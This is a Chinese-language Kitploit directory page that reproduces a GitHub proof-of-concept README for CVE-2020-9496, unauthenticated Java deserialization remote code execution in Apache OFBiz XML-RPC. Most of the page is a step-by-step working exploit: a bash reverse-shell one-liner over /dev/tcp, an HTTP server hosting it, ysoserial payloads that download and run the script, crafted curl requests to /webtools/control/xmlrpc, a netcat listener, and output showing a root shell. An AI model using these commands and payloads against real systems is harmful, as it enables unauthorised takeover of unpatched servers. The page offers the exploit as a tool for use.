Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/cyber-niz/cve-2020-9496
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubcyber-niz/cve-2020-9496

CVE-2020-9496

CVE-2020-9496 的手动漏洞利用程序,针对 Apache OFBiz XML-RPC 中未经验证的 Java 反序列化远程代码执行漏洞,包含载荷生成和反弹 Shell 的分步说明。

查看仓库
5年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-9496 - 远程代码执行

因为 webtools 中两个与 xmlrpc 相关的请求(xmlrpc 和 ping)未使用身份验证,因此它们容易受到不安全的反序列化影响。此问题由 GitHub 安全实验室团队的 Alvaro Munoz [email protected] 报告给安全团队。

此漏洞是由于处理发送到 /webtools/control/xmlrpc 的请求时存在 Java 反序列化问题所致。远程未经身份验证的攻击者可以通过发送特制请求来利用此漏洞。成功利用将导致任意代码执行。

受影响版本 17.12.01

已修复版本 18.12.01, 17.12.04

原始博客:https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/

为使此 POC 生效,我们需要放置一个 shell 脚本,并通过 curl 执行/访问该文件。

步骤1:使用你的 IP 地址和端口地址,通过 Bash 一行命令创建一个 Shell 文件。

root@kitploit:~
$ cat shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.x.x/1337 0>&1

步骤2:现在我们需要通过 HTTP 服务公开此文件

root@kitploit:~
$ sudo python3 -m http.server 80

步骤3:通过 ysoserial 生成 Payload - 修改 IP

root@kitploit:~
$ ysoserial CommonsBeanutils1 "wget 10.10.x.x/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"

步骤4:复制你的 Payload 输出 - 非常长的字符串

root@kitploit:~
rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==

步骤5:使用下面的 curl 命令执行我们的 payload。将 payload 粘贴到 extensions 之后”>

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

供你参考的不含 Payload 的 Curl 命令

root@kitploit:~
$ curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

确认执行 Curl 命令后 HTTP 服务器是否收到访问请求

root@kitploit:~
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.x.x - - [29/Apr/2021 12:57:07] "GET /shell.sh HTTP/1.1" 200 -

如你所见,我们的 HTTP 服务器收到了请求。文件已下载到 /tmp 目录,名称为 shell.sh。现在,为了执行该文件,请再次创建 payload。但在此之前,请先启动一个 netcat 监听器。

步骤6:启动 NetCat 监听器

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...

步骤7:创建用于执行之前下载的 Shell 脚本的 Payload

root@kitploit:~
$ ysoserial CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"

步骤8:将输出复制并粘贴到 Curl 命令中并执行它

root@kitploit:~
curl https://127.0.0.1:8443/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0..........................................................AAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable></value></member></struct></value></param></params></methodCall>' -k  -H 'Content-Type:application/xml'

步骤10:检查 NetCat 监听器是否收到反向连接

root@kitploit:~
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] 60006
bash: cannot set terminal process group (30): Inappropriate ioctl for device
bash: no job control in this shell
root@test:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
下载工具